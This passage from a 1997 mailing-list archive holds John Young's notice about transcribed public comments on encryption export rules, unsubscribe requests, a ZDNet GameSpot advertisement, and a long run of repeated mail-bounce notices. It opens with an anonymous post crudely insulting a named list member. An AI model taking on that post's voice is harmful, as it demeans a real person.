REPLAY.COM Tue Feb 25 11:19:28 1997 From: nobody at REPLAY.COM (Anonymous) Date: Tue, 25 Feb 1997 11:19:28 -0800 (PST) Subject: [ADMINISTRATIVIUM] Quadratic residues Message-ID: <199702251831.TAA29959@basement.replay.com> Timothy C[reep] Maytag's IQ is lower than the belly of a pregnant snake. /\ /..\ Timothy C[reep] Maytag /_\/_\ From jya at pipeline.com Tue Feb 25 12:26:47 1997 From: jya at pipeline.com (John Young) Date: Tue, 25 Feb 1997 12:26:47 -0800 (PST) Subject: EI Comments Hypertext Message-ID: <1.5.4.32.19970225202015.006e8270@pop.pipeline.com> We're transcribing and hypertexting the 43 PDF-formatted Public Comments submitted to BXA on the transfer of encryption items from the USML to the CCL. The first 19 comments are at: http://jya.com/bxapc1.htm (194K) 1. University of Waterloo 2. John and Laren Navas 3. Cylink 4. Motorola 5. Secure Computing 6. Tuttle and Taylor 7. Lyman C. Welch 8. ISTAC 9. American Association for the Advancement of Science 10. Trusted information Systems, Inc. 11. IBM 12. Hughes Electronics 13. Industry Coalition on Technology Transfer (ICOTT) 14. Murphy & Weber for Nokia 15. Steptoe & Johnson LLP 16. America Online, Inc. 17. Citibank 18. NCR 19. American Civil Liberties Union (ACLU) The others should be ready late tonight or tomorrow morning. From toto at sk.sympatico.ca Tue Feb 25 12:55:17 1997 From: toto at sk.sympatico.ca (Toto) Date: Tue, 25 Feb 1997 12:55:17 -0800 (PST) Subject: take me off this list In-Reply-To: <1.5.4.16.19970225111952.2307a0ac@popmail.ucsd.edu> Message-ID: <33135FE1.40E5@sk.sympatico.ca> Me too. From announce at lists.zdnet.com Tue Feb 25 13:35:11 1997 From: announce at lists.zdnet.com (announce at lists.zdnet.com) Date: Tue, 25 Feb 1997 13:35:11 -0800 (PST) Subject: Welcome GameSpot and VideoGameSpot! Message-ID: ----------------------------------------------------------------------- ZDNET ANNOUNCEMENT 2/24/97 ----------------------------------------------------------------------- Do you like to play games? No, not those kinds of games! You know, PC or video games. If the answer is absolutely, sometimes or even just maybe, then you'll want to check out GameSpot and VideoGameSpot. These are the hottest, and most fun sites on the Web for information about PC and video games, bar none! (They are so good, they are now serving as the Games Channel on ZDNet!) GameSpot (www.gamespot.com) gives you the most up-to-date reviews, demos, news, in-depth features, strategy guides, previews, hints and cheats on all of the latest PC games and hardware. They cover everything from the most hyper action games to the more sedate, but mind-wrenching puzzle games, and give you what you need both before you buy a game and after you bring it home. No one else's online coverage of the PC game industry even comes close. VideoGameSpot (www.videogamespot.com) provides this same information, but about video games played on the Sega Saturn, Sony Playstation and Nintendo64 consoles. Of course you can't download a demo of a video game, so they provide custom quick-time movies to give you a tantalizing taste of each title. Both sites encourage readers to submit their own reviews of games. Think their review stinks? Submit your own and show the world that you're the real expert! And if winning free games or hardware has appeal (not unlike a lemon), then point old man browser over to these sites, PRONTO!! GameSpot and VideoGameSpot give away thousands of dollars in prizes every month (almost $40,000 in February). The contests are simple and fun, and there are hundreds of winners who could tell you how easy it is to get a free game in the mail. (Winner! Winner! Chicken Dinner!!) To visit the sites, go to the URL's listed below, or link to them from the ZDNet Games channel (www.zdnet.com/games). See you soon at GameSpot and VideoGameSpot! ZDNet Games http://www.zdnet.com/games GameSpot: http://www.gamespot.com VideoGameSpot: http://www.videogamespot.com ________________________________________________ ZDNet Announcements are periodic notices of new features, special events and free offers available to members of ZDNet. --To subscribe to ZDNet Announcements, please send mail to: zdnet_announce-on at lists.zdnet.com You can leave the subject and body blank. --To unsubscribe to ZDNet Announcements, please send mail to: zdnet_announce-off at lists.zdnet.com You can leave the subject and body blank. ________________________________________________ Powered by Mercury Mail: http://www.merc.com From toto at sk.sympatico.ca Tue Feb 25 13:36:39 1997 From: toto at sk.sympatico.ca (Toto) Date: Tue, 25 Feb 1997 13:36:39 -0800 (PST) Subject: take me off this list In-Reply-To: <1.5.4.16.19970225111952.2307a0ac@popmail.ucsd.edu> Message-ID: <33136A83.79AA@sk.sympatico.ca> Me too, also, as well. From toto at sk.sympatico.ca Tue Feb 25 13:49:28 1997 From: toto at sk.sympatico.ca (Toto) Date: Tue, 25 Feb 1997 13:49:28 -0800 (PST) Subject: take me off this list In-Reply-To: <1.5.4.16.19970225111952.2307a0ac@popmail.ucsd.edu> Message-ID: <33137917.3DE9@sk.sympatico.ca> http://bureau42.base.org/public/xenix/xenbody.html From postmaster at abraxis.com Tue Feb 25 14:03:49 1997 From: postmaster at abraxis.com (NTMail) Date: Tue, 25 Feb 1997 14:03:49 -0800 (PST) Subject: Failed mail Message-ID: --------------------------------------------------------------------- Could not resolve the address "lists.zdnet.com " Please check you have entered the email address correctly. --------------------------------------------------------------------- Your message follows: >Received: from [206.155.199.6] by smtp1.abraxis.com (NTMail 3.01.03) id ja219839; Tue, 25 Feb 1997 17:09:24 -0500 >Subject: Remove >Date: Tue, 25 Feb 1997 17:09:24 -0500 >Message-Id: <22092418045846 at abraxis.com> > >----------------------------------------------------------------------- >ZDNET ANNOUNCEMENT 2/24/97 >----------------------------------------------------------------------- > >Do you like to play games? No, not those kinds of games! You know, PC or >video games. If the answer is absolutely, sometimes or even just maybe, >then you'll want to check out GameSpot and VideoGameSpot. These are the >hottest, and most fun sites on the Web for information about PC and video >games, bar none! (They are so good, they are now serving as the Games >Channel on ZDNet!) > >GameSpot (www.gamespot.com) gives you the most up-to-date reviews, demos, >news, in-depth features, strategy guides, previews, hints and cheats on >all of the latest PC games and hardware. They cover everything from the >most hyper action games to the more sedate, but mind-wrenching puzzle >games, and give you what you need both before you buy a game and after you >bring it home. No one else's online coverage of the PC game industry even >comes close. > >VideoGameSpot (www.videogamespot.com) provides this same information, but >about video games played on the Sega Saturn, Sony Playstation and >Nintendo64 consoles. Of course you can't download a demo of a video game, >so they provide custom quick-time movies to give you a tantalizing taste >of each title. > >Both sites encourage readers to submit their own reviews of games. Think >their review stinks? Submit your own and show the world that you're the >real expert! > >And if winning free games or hardware has appeal (not unlike a lemon), >then point old man browser over to these sites, PRONTO!! GameSpot and >VideoGameSpot give away thousands of dollars in prizes every month (almost >$40,000 in February). The contests are simple and fun, and there are >hundreds of winners who could tell you how easy it is to get a free game >in the mail. (Winner! Winner! Chicken Dinner!!) > >To visit the sites, go to the URL's listed below, or link to them from the >ZDNet Games channel (www.zdnet.com/games). See you soon at GameSpot and >VideoGameSpot! > >. From postmaster at abraxis.com Tue Feb 25 14:04:28 1997 From: postmaster at abraxis.com (NTMail) Date: Tue, 25 Feb 1997 14:04:28 -0800 (PST) Subject: Failed mail Message-ID: --------------------------------------------------------------------- Could not resolve the address "lists.zdnet.com " Please check you have entered the email address correctly. --------------------------------------------------------------------- Your message follows: >Received: from [206.155.199.6] by smtp1.abraxis.com (NTMail 3.01.03) id ka219840; Tue, 25 Feb 1997 17:09:25 -0500 >Subject: Remove >Date: Tue, 25 Feb 1997 17:09:25 -0500 >Message-Id: <22092560245847 at abraxis.com> > >----------------------------------------------------------------------- >ZDNET ANNOUNCEMENT 2/24/97 >----------------------------------------------------------------------- > >Do you like to play games? No, not those kinds of games! You know, PC or >video games. If the answer is absolutely, sometimes or even just maybe, >then you'll want to check out GameSpot and VideoGameSpot. These are the >hottest, and most fun sites on the Web for information about PC and video >games, bar none! (They are so good, they are now serving as the Games >Channel on ZDNet!) > >GameSpot (www.gamespot.com) gives you the most up-to-date reviews, demos, >news, in-depth features, strategy guides, previews, hints and cheats on >all of the latest PC games and hardware. They cover everything from the >most hyper action games to the more sedate, but mind-wrenching puzzle >games, and give you what you need both before you buy a game and after you >bring it home. No one else's online coverage of the PC game industry even >comes close. > >VideoGameSpot (www.videogamespot.com) provides this same information, but >about video games played on the Sega Saturn, Sony Playstation and >Nintendo64 consoles. Of course you can't download a demo of a video game, >so they provide custom quick-time movies to give you a tantalizing taste >of each title. > >Both sites encourage readers to submit their own reviews of games. Think >their review stinks? Submit your own and show the world that you're the >real expert! > >And if winning free games or hardware has appeal (not unlike a lemon), >then point old man browser over to these sites, PRONTO!! GameSpot and >VideoGameSpot give away thousands of dollars in prizes every month (almost >$40,000 in February). The contests are simple and fun, and there are >hundreds of winners who could tell you how easy it is to get a free game >in the mail. (Winner! Winner! Chicken Dinner!!) > >To visit the sites, go to the URL's listed below, or link to them from the >ZDNet Games channel (www.zdnet.com/games). See you soon at GameSpot and >VideoGameSpot! > >. From postmaster at abraxis.com Tue Feb 25 14:04:32 1997 From: postmaster at abraxis.com (NTMail) Date: Tue, 25 Feb 1997 14:04:32 -0800 (PST) Subject: Failed mail Message-ID: --------------------------------------------------------------------- Could not resolve the address "lists.zdnet.com " Please check you have entered the email address correctly. --------------------------------------------------------------------- Your message follows: >Received: from [206.155.199.6] by smtp1.abraxis.com (NTMail 3.01.03) id na219843; Tue, 25 Feb 1997 17:09:29 -0500 >Subject: Remove >Date: Tue, 25 Feb 1997 17:09:29 -0500 >Message-Id: <22092963845850 at abraxis.com> > >----------------------------------------------------------------------- >ZDNET ANNOUNCEMENT 2/24/97 >----------------------------------------------------------------------- > >Do you like to play games? No, not those kinds of games! You know, PC or >video games. If the answer is absolutely, sometimes or even just maybe, >then you'll want to check out GameSpot and VideoGameSpot. These are the >hottest, and most fun sites on the Web for information about PC and video >games, bar none! (They are so good, they are now serving as the Games >Channel on ZDNet!) > >GameSpot (www.gamespot.com) gives you the most up-to-date reviews, demos, >news, in-depth features, strategy guides, previews, hints and cheats on >all of the latest PC games and hardware. They cover everything from the >most hyper action games to the more sedate, but mind-wrenching puzzle >games, and give you what you need both before you buy a game and after you >bring it home. No one else's online coverage of the PC game industry even >comes close. > >VideoGameSpot (www.videogamespot.com) provides this same information, but >about video games played on the Sega Saturn, Sony Playstation and >Nintendo64 consoles. Of course you can't download a demo of a video game, >so they provide custom quick-time movies to give you a tantalizing taste >of each title. > >Both sites encourage readers to submit their own reviews of games. Think >their review stinks? Submit your own and show the world that you're the >real expert! > >And if winning free games or hardware has appeal (not unlike a lemon), >then point old man browser over to these sites, PRONTO!! GameSpot and >VideoGameSpot give away thousands of dollars in prizes every month (almost >$40,000 in February). The contests are simple and fun, and there are >hundreds of winners who could tell you how easy it is to get a free game >in the mail. (Winner! Winner! Chicken Dinner!!) > >To visit the sites, go to the URL's listed below, or link to them from the >ZDNet Games channel (www.zdnet.com/games). See you soon at GameSpot and >VideoGameSpot! > >. From postmaster at abraxis.com Tue Feb 25 14:04:47 1997 From: postmaster at abraxis.com (NTMail) Date: Tue, 25 Feb 1997 14:04:47 -0800 (PST) Subject: Failed mail Message-ID: --------------------------------------------------------------------- Could not resolve the address "lists.zdnet.com " Please check you have entered the email address correctly. --------------------------------------------------------------------- Your message follows: >Received: from [206.155.199.6] by smtp1.abraxis.com (NTMail 3.01.03) id ra219847; Tue, 25 Feb 1997 17:09:34 -0500 >Subject: Remove >Date: Tue, 25 Feb 1997 17:09:34 -0500 >Message-Id: <22093491545854 at abraxis.com> > >----------------------------------------------------------------------- >ZDNET ANNOUNCEMENT 2/24/97 >----------------------------------------------------------------------- > >Do you like to play games? No, not those kinds of games! You know, PC or >video games. If the answer is absolutely, sometimes or even just maybe, >then you'll want to check out GameSpot and VideoGameSpot. These are the >hottest, and most fun sites on the Web for information about PC and video >games, bar none! (They are so good, they are now serving as the Games >Channel on ZDNet!) > >GameSpot (www.gamespot.com) gives you the most up-to-date reviews, demos, >news, in-depth features, strategy guides, previews, hints and cheats on >all of the latest PC games and hardware. They cover everything from the >most hyper action games to the more sedate, but mind-wrenching puzzle >games, and give you what you need both before you buy a game and after you >bring it home. No one else's online coverage of the PC game industry even >comes close. > >VideoGameSpot (www.videogamespot.com) provides this same information, but >about video games played on the Sega Saturn, Sony Playstation and >Nintendo64 consoles. Of course you can't download a demo of a video game, >so they provide custom quick-time movies to give you a tantalizing taste >of each title. > >Both sites encourage readers to submit their own reviews of games. Think >their review stinks? Submit your own and show the world that you're the >real expert! > >And if winning free games or hardware has appeal (not unlike a lemon), >then point old man browser over to these sites, PRONTO!! GameSpot and >VideoGameSpot give away thousands of dollars in prizes every month (almost >$40,000 in February). The contests are simple and fun, and there are >hundreds of winners who could tell you how easy it is to get a free game >in the mail. (Winner! Winner! Chicken Dinner!!) > >To visit the sites, go to the URL's listed below, or link to them from the >ZDNet Games channel (www.zdnet.com/games). See you soon at GameSpot and >VideoGameSpot! > >. From postmaster at abraxis.com Tue Feb 25 14:05:08 1997 From: postmaster at abraxis.com (NTMail) Date: Tue, 25 Feb 1997 14:05:08 -0800 (PST) Subject: Failed mail Message-ID: --------------------------------------------------------------------- Could not resolve the address "lists.zdnet.com " Please check you have entered the email address correctly. --------------------------------------------------------------------- Your message follows: >Received: from [206.155.199.6] by smtp1.abraxis.com (NTMail 3.01.03) id ya219854; Tue, 25 Feb 1997 17:09:44 -0500 >Subject: Remove >Date: Tue, 25 Feb 1997 17:09:44 -0500 >Message-Id: <22094445945861 at abraxis.com> > >----------------------------------------------------------------------- >ZDNET ANNOUNCEMENT 2/24/97 >----------------------------------------------------------------------- > >Do you like to play games? No, not those kinds of games! You know, PC or >video games. If the answer is absolutely, sometimes or even just maybe, >then you'll want to check out GameSpot and VideoGameSpot. These are the >hottest, and most fun sites on the Web for information about PC and video >games, bar none! (They are so good, they are now serving as the Games >Channel on ZDNet!) > >GameSpot (www.gamespot.com) gives you the most up-to-date reviews, demos, >news, in-depth features, strategy guides, previews, hints and cheats on >all of the latest PC games and hardware. They cover everything from the >most hyper action games to the more sedate, but mind-wrenching puzzle >games, and give you what you need both before you buy a game and after you >bring it home. No one else's online coverage of the PC game industry even >comes close. > >VideoGameSpot (www.videogamespot.com) provides this same information, but >about video games played on the Sega Saturn, Sony Playstation and >Nintendo64 consoles. Of course you can't download a demo of a video game, >so they provide custom quick-time movies to give you a tantalizing taste >of each title. > >Both sites encourage readers to submit their own reviews of games. Think >their review stinks? Submit your own and show the world that you're the >real expert! > >And if winning free games or hardware has appeal (not unlike a lemon), >then point old man browser over to these sites, PRONTO!! GameSpot and >VideoGameSpot give away thousands of dollars in prizes every month (almost >$40,000 in February). The contests are simple and fun, and there are >hundreds of winners who could tell you how easy it is to get a free game >in the mail. (Winner! Winner! Chicken Dinner!!) > >To visit the sites, go to the URL's listed below, or link to them from the >ZDNet Games channel (www.zdnet.com/games). See you soon at GameSpot and >VideoGameSpot! > >. From postmaster at abraxis.com Tue Feb 25 14:05:39 1997 From: postmaster at abraxis.com (NTMail) Date: Tue, 25 Feb 1997 14:05:39 -0800 (PST) Subject: Failed mail Message-ID: --------------------------------------------------------------------- Could not resolve the address "lists.zdnet.com " Please check you have entered the email address correctly. --------------------------------------------------------------------- Your message follows: >Received: from [206.155.199.6] by smtp1.abraxis.com (NTMail 3.01.03) id da219859; Tue, 25 Feb 1997 17:09:50 -0500 >Subject: Remove >Date: Tue, 25 Feb 1997 17:09:50 -0500 >Message-Id: <22095097845866 at abraxis.com> > >----------------------------------------------------------------------- >ZDNET ANNOUNCEMENT 2/24/97 >----------------------------------------------------------------------- > >Do you like to play games? No, not those kinds of games! You know, PC or >video games. If the answer is absolutely, sometimes or even just maybe, >then you'll want to check out GameSpot and VideoGameSpot. These are the >hottest, and most fun sites on the Web for information about PC and video >games, bar none! (They are so good, they are now serving as the Games >Channel on ZDNet!) > >GameSpot (www.gamespot.com) gives you the most up-to-date reviews, demos, >news, in-depth features, strategy guides, previews, hints and cheats on >all of the latest PC games and hardware. They cover everything from the >most hyper action games to the more sedate, but mind-wrenching puzzle >games, and give you what you need both before you buy a game and after you >bring it home. No one else's online coverage of the PC game industry even >comes close. > >VideoGameSpot (www.videogamespot.com) provides this same information, but >about video games played on the Sega Saturn, Sony Playstation and >Nintendo64 consoles. Of course you can't download a demo of a video game, >so they provide custom quick-time movies to give you a tantalizing taste >of each title. > >Both sites encourage readers to submit their own reviews of games. Think >their review stinks? Submit your own and show the world that you're the >real expert! > >And if winning free games or hardware has appeal (not unlike a lemon), >then point old man browser over to these sites, PRONTO!! GameSpot and >VideoGameSpot give away thousands of dollars in prizes every month (almost >$40,000 in February). The contests are simple and fun, and there are >hundreds of winners who could tell you how easy it is to get a free game >in the mail. (Winner! Winner! Chicken Dinner!!) > >To visit the sites, go to the URL's listed below, or link to them from the >ZDNet Games channel (www.zdnet.com/games). See you soon at GameSpot and >VideoGameSpot! > >. From postmaster at abraxis.com Tue Feb 25 14:05:48 1997 From: postmaster at abraxis.com (NTMail) Date: Tue, 25 Feb 1997 14:05:48 -0800 (PST) Subject: Failed mail Message-ID: --------------------------------------------------------------------- Could not resolve the address "lists.zdnet.com " Please check you have entered the email address correctly. --------------------------------------------------------------------- Your message follows: >Received: from [206.155.199.6] by smtp1.abraxis.com (NTMail 3.01.03) id aa219856; Tue, 25 Feb 1997 17:09:47 -0500 >Subject: Remove >Date: Tue, 25 Feb 1997 17:09:47 -0500 >Message-Id: <22094706345863 at abraxis.com> > >----------------------------------------------------------------------- >ZDNET ANNOUNCEMENT 2/24/97 >----------------------------------------------------------------------- > >Do you like to play games? No, not those kinds of games! You know, PC or >video games. If the answer is absolutely, sometimes or even just maybe, >then you'll want to check out GameSpot and VideoGameSpot. These are the >hottest, and most fun sites on the Web for information about PC and video >games, bar none! (They are so good, they are now serving as the Games >Channel on ZDNet!) > >GameSpot (www.gamespot.com) gives you the most up-to-date reviews, demos, >news, in-depth features, strategy guides, previews, hints and cheats on >all of the latest PC games and hardware. They cover everything from the >most hyper action games to the more sedate, but mind-wrenching puzzle >games, and give you what you need both before you buy a game and after you >bring it home. No one else's online coverage of the PC game industry even >comes close. > >VideoGameSpot (www.videogamespot.com) provides this same information, but >about video games played on the Sega Saturn, Sony Playstation and >Nintendo64 consoles. Of course you can't download a demo of a video game, >so they provide custom quick-time movies to give you a tantalizing taste >of each title. > >Both sites encourage readers to submit their own reviews of games. Think >their review stinks? Submit your own and show the world that you're the >real expert! > >And if winning free games or hardware has appeal (not unlike a lemon), >then point old man browser over to these sites, PRONTO!! GameSpot and >VideoGameSpot give away thousands of dollars in prizes every month (almost >$40,000 in February). The contests are simple and fun, and there are >hundreds of winners who could tell you how easy it is to get a free game >in the mail. (Winner! Winner! Chicken Dinner!!) > >To visit the sites, go to the URL's listed below, or link to them from the >ZDNet Games channel (www.zdnet.com/games). See you soon at GameSpot and >VideoGameSpot! > >. From postmaster at abraxis.com Tue Feb 25 14:05:50 1997 From: postmaster at abraxis.com (NTMail) Date: Tue, 25 Feb 1997 14:05:50 -0800 (PST) Subject: Failed mail Message-ID: --------------------------------------------------------------------- Could not resolve the address "lists.zdnet.com " Please check you have entered the email address correctly. --------------------------------------------------------------------- Your message follows: >Received: from [206.155.199.6] by smtp1.abraxis.com (NTMail 3.01.03) id ua219850; Tue, 25 Feb 1997 17:09:38 -0500 >Subject: Remove >Date: Tue, 25 Feb 1997 17:09:38 -0500 >Message-Id: <22093885145857 at abraxis.com> > >----------------------------------------------------------------------- >ZDNET ANNOUNCEMENT 2/24/97 >----------------------------------------------------------------------- > >Do you like to play games? No, not those kinds of games! You know, PC or >video games. If the answer is absolutely, sometimes or even just maybe, >then you'll want to check out GameSpot and VideoGameSpot. These are the >hottest, and most fun sites on the Web for information about PC and video >games, bar none! (They are so good, they are now serving as the Games >Channel on ZDNet!) > >GameSpot (www.gamespot.com) gives you the most up-to-date reviews, demos, >news, in-depth features, strategy guides, previews, hints and cheats on >all of the latest PC games and hardware. They cover everything from the >most hyper action games to the more sedate, but mind-wrenching puzzle >games, and give you what you need both before you buy a game and after you >bring it home. No one else's online coverage of the PC game industry even >comes close. > >VideoGameSpot (www.videogamespot.com) provides this same information, but >about video games played on the Sega Saturn, Sony Playstation and >Nintendo64 consoles. Of course you can't download a demo of a video game, >so they provide custom quick-time movies to give you a tantalizing taste >of each title. > >Both sites encourage readers to submit their own reviews of games. Think >their review stinks? Submit your own and show the world that you're the >real expert! > >And if winning free games or hardware has appeal (not unlike a lemon), >then point old man browser over to these sites, PRONTO!! GameSpot and >VideoGameSpot give away thousands of dollars in prizes every month (almost >$40,000 in February). The contests are simple and fun, and there are >hundreds of winners who could tell you how easy it is to get a free game >in the mail. (Winner! Winner! Chicken Dinner!!) > >To visit the sites, go to the URL's listed below, or link to them from the >ZDNet Games channel (www.zdnet.com/games). See you soon at GameSpot and >VideoGameSpot! > >. From postmaster at abraxis.com Tue Feb 25 14:05:51 1997 From: postmaster at abraxis.com (NTMail) Date: Tue, 25 Feb 1997 14:05:51 -0800 (PST) Subject: Failed mail Message-ID: --------------------------------------------------------------------- Could not resolve the address "lists.zdnet.com " Please check you have entered the email address correctly. --------------------------------------------------------------------- Your message follows: >Received: from [206.155.199.6] by smtp1.abraxis.com (NTMail 3.01.03) id ma219868; Tue, 25 Feb 1997 17:10:04 -0500 >Subject: Remove >Date: Tue, 25 Feb 1997 17:10:03 -0500 >Message-Id: <22100401745875 at abraxis.com> > >----------------------------------------------------------------------- >ZDNET ANNOUNCEMENT 2/24/97 >----------------------------------------------------------------------- > >Do you like to play games? No, not those kinds of games! You know, PC or >video games. If the answer is absolutely, sometimes or even just maybe, >then you'll want to check out GameSpot and VideoGameSpot. These are the >hottest, and most fun sites on the Web for information about PC and video >games, bar none! (They are so good, they are now serving as the Games >Channel on ZDNet!) > >GameSpot (www.gamespot.com) gives you the most up-to-date reviews, demos, >news, in-depth features, strategy guides, previews, hints and cheats on >all of the latest PC games and hardware. They cover everything from the >most hyper action games to the more sedate, but mind-wrenching puzzle >games, and give you what you need both before you buy a game and after you >bring it home. No one else's online coverage of the PC game industry even >comes close. > >VideoGameSpot (www.videogamespot.com) provides this same information, but >about video games played on the Sega Saturn, Sony Playstation and >Nintendo64 consoles. Of course you can't download a demo of a video game, >so they provide custom quick-time movies to give you a tantalizing taste >of each title. > >Both sites encourage readers to submit their own reviews of games. Think >their review stinks? Submit your own and show the world that you're the >real expert! > >And if winning free games or hardware has appeal (not unlike a lemon), >then point old man browser over to these sites, PRONTO!! GameSpot and >VideoGameSpot give away thousands of dollars in prizes every month (almost >$40,000 in February). The contests are simple and fun, and there are >hundreds of winners who could tell you how easy it is to get a free game >in the mail. (Winner! Winner! Chicken Dinner!!) > >To visit the sites, go to the URL's listed below, or link to them from the >ZDNet Games channel (www.zdnet.com/games). See you soon at GameSpot and >VideoGameSpot! > >. From postmaster at abraxis.com Tue Feb 25 14:05:53 1997 From: postmaster at abraxis.com (NTMail) Date: Tue, 25 Feb 1997 14:05:53 -0800 (PST) Subject: Failed mail Message-ID: --------------------------------------------------------------------- Could not resolve the address "lists.zdnet.com " Please check you have entered the email address correctly. --------------------------------------------------------------------- Your message follows: >Received: from [206.155.199.6] by smtp1.abraxis.com (NTMail 3.01.03) id sa219874; Tue, 25 Feb 1997 17:10:12 -0500 >Subject: Remove >Date: Tue, 25 Feb 1997 17:10:12 -0500 >Message-Id: <22101209945883 at abraxis.com> > >----------------------------------------------------------------------- >ZDNET ANNOUNCEMENT 2/24/97 >----------------------------------------------------------------------- > >Do you like to play games? No, not those kinds of games! You know, PC or >video games. If the answer is absolutely, sometimes or even just maybe, >then you'll want to check out GameSpot and VideoGameSpot. These are the >hottest, and most fun sites on the Web for information about PC and video >games, bar none! (They are so good, they are now serving as the Games >Channel on ZDNet!) > >GameSpot (www.gamespot.com) gives you the most up-to-date reviews, demos, >news, in-depth features, strategy guides, previews, hints and cheats on >all of the latest PC games and hardware. They cover everything from the >most hyper action games to the more sedate, but mind-wrenching puzzle >games, and give you what you need both before you buy a game and after you >bring it home. No one else's online coverage of the PC game industry even >comes close. > >VideoGameSpot (www.videogamespot.com) provides this same information, but >about video games played on the Sega Saturn, Sony Playstation and >Nintendo64 consoles. Of course you can't download a demo of a video game, >so they provide custom quick-time movies to give you a tantalizing taste >of each title. > >Both sites encourage readers to submit their own reviews of games. Think >their review stinks? Submit your own and show the world that you're the >real expert! > >And if winning free games or hardware has appeal (not unlike a lemon), >then point old man browser over to these sites, PRONTO!! GameSpot and >VideoGameSpot give away thousands of dollars in prizes every month (almost >$40,000 in February). The contests are simple and fun, and there are >hundreds of winners who could tell you how easy it is to get a free game >in the mail. (Winner! Winner! Chicken Dinner!!) > >To visit the sites, go to the URL's listed below, or link to them from the >ZDNet Games channel (www.zdnet.com/games). See you soon at GameSpot and >VideoGameSpot! > >. From postmaster at abraxis.com Tue Feb 25 14:05:55 1997 From: postmaster at abraxis.com (NTMail) Date: Tue, 25 Feb 1997 14:05:55 -0800 (PST) Subject: Failed mail Message-ID: --------------------------------------------------------------------- Could not resolve the address "lists.zdnet.com " Please check you have entered the email address correctly. --------------------------------------------------------------------- Your message follows: >Received: from [206.155.199.6] by smtp1.abraxis.com (NTMail 3.01.03) id ca219884; Tue, 25 Feb 1997 17:10:25 -0500 >Subject: Remove >Date: Tue, 25 Feb 1997 17:10:25 -0500 >Message-Id: <22102589945897 at abraxis.com> > >----------------------------------------------------------------------- >ZDNET ANNOUNCEMENT 2/24/97 >----------------------------------------------------------------------- > >Do you like to play games? No, not those kinds of games! You know, PC or >video games. If the answer is absolutely, sometimes or even just maybe, >then you'll want to check out GameSpot and VideoGameSpot. These are the >hottest, and most fun sites on the Web for information about PC and video >games, bar none! (They are so good, they are now serving as the Games >Channel on ZDNet!) > >GameSpot (www.gamespot.com) gives you the most up-to-date reviews, demos, >news, in-depth features, strategy guides, previews, hints and cheats on >all of the latest PC games and hardware. They cover everything from the >most hyper action games to the more sedate, but mind-wrenching puzzle >games, and give you what you need both before you buy a game and after you >bring it home. No one else's online coverage of the PC game industry even >comes close. > >VideoGameSpot (www.videogamespot.com) provides this same information, but >about video games played on the Sega Saturn, Sony Playstation and >Nintendo64 consoles. Of course you can't download a demo of a video game, >so they provide custom quick-time movies to give you a tantalizing taste >of each title. > >Both sites encourage readers to submit their own reviews of games. Think >their review stinks? Submit your own and show the world that you're the >real expert! > >And if winning free games or hardware has appeal (not unlike a lemon), >then point old man browser over to these sites, PRONTO!! GameSpot and >VideoGameSpot give away thousands of dollars in prizes every month (almost >$40,000 in February). The contests are simple and fun, and there are >hundreds of winners who could tell you how easy it is to get a free game >in the mail. (Winner! Winner! Chicken Dinner!!) > >To visit the sites, go to the URL's listed below, or link to them from the >ZDNet Games channel (www.zdnet.com/games). See you soon at GameSpot and >VideoGameSpot! > >. From postmaster at abraxis.com Tue Feb 25 14:05:56 1997 From: postmaster at abraxis.com (NTMail) Date: Tue, 25 Feb 1997 14:05:56 -0800 (PST) Subject: Failed mail Message-ID: --------------------------------------------------------------------- Could not resolve the address "lists.zdnet.com " Please check you have entered the email address correctly. --------------------------------------------------------------------- Your message follows: >Received: from [206.155.199.6] by smtp1.abraxis.com (NTMail 3.01.03) id xa219879; Tue, 25 Feb 1997 17:10:18 -0500 >Subject: Remove >Date: Tue, 25 Feb 1997 17:10:18 -0500 >Message-Id: <22101881845890 at abraxis.com> > >----------------------------------------------------------------------- >ZDNET ANNOUNCEMENT 2/24/97 >----------------------------------------------------------------------- > >Do you like to play games? No, not those kinds of games! You know, PC or >video games. If the answer is absolutely, sometimes or even just maybe, >then you'll want to check out GameSpot and VideoGameSpot. These are the >hottest, and most fun sites on the Web for information about PC and video >games, bar none! (They are so good, they are now serving as the Games >Channel on ZDNet!) > >GameSpot (www.gamespot.com) gives you the most up-to-date reviews, demos, >news, in-depth features, strategy guides, previews, hints and cheats on >all of the latest PC games and hardware. They cover everything from the >most hyper action games to the more sedate, but mind-wrenching puzzle >games, and give you what you need both before you buy a game and after you >bring it home. No one else's online coverage of the PC game industry even >comes close. > >VideoGameSpot (www.videogamespot.com) provides this same information, but >about video games played on the Sega Saturn, Sony Playstation and >Nintendo64 consoles. Of course you can't download a demo of a video game, >so they provide custom quick-time movies to give you a tantalizing taste >of each title. > >Both sites encourage readers to submit their own reviews of games. Think >their review stinks? Submit your own and show the world that you're the >real expert! > >And if winning free games or hardware has appeal (not unlike a lemon), >then point old man browser over to these sites, PRONTO!! GameSpot and >VideoGameSpot give away thousands of dollars in prizes every month (almost >$40,000 in February). The contests are simple and fun, and there are >hundreds of winners who could tell you how easy it is to get a free game >in the mail. (Winner! Winner! Chicken Dinner!!) > >To visit the sites, go to the URL's listed below, or link to them from the >ZDNet Games channel (www.zdnet.com/games). See you soon at GameSpot and >VideoGameSpot! > >. From postmaster at abraxis.com Tue Feb 25 14:05:57 1997 From: postmaster at abraxis.com (NTMail) Date: Tue, 25 Feb 1997 14:05:57 -0800 (PST) Subject: Failed mail Message-ID: --------------------------------------------------------------------- Could not resolve the address "lists.zdnet.com " Please check you have entered the email address correctly. --------------------------------------------------------------------- Your message follows: >Received: from [206.155.199.6] by smtp1.abraxis.com (NTMail 3.01.03) id ma219842; Tue, 25 Feb 1997 17:09:28 -0500 >Subject: Remove >Date: Tue, 25 Feb 1997 17:09:28 -0500 >Message-Id: <22092823645849 at abraxis.com> > >----------------------------------------------------------------------- >ZDNET ANNOUNCEMENT 2/24/97 >----------------------------------------------------------------------- > >Do you like to play games? No, not those kinds of games! You know, PC or >video games. If the answer is absolutely, sometimes or even just maybe, >then you'll want to check out GameSpot and VideoGameSpot. These are the >hottest, and most fun sites on the Web for information about PC and video >games, bar none! (They are so good, they are now serving as the Games >Channel on ZDNet!) > >GameSpot (www.gamespot.com) gives you the most up-to-date reviews, demos, >news, in-depth features, strategy guides, previews, hints and cheats on >all of the latest PC games and hardware. They cover everything from the >most hyper action games to the more sedate, but mind-wrenching puzzle >games, and give you what you need both before you buy a game and after you >bring it home. No one else's online coverage of the PC game industry even >comes close. > >VideoGameSpot (www.videogamespot.com) provides this same information, but >about video games played on the Sega Saturn, Sony Playstation and >Nintendo64 consoles. Of course you can't download a demo of a video game, >so they provide custom quick-time movies to give you a tantalizing taste >of each title. > >Both sites encourage readers to submit their own reviews of games. Think >their review stinks? Submit your own and show the world that you're the >real expert! > >And 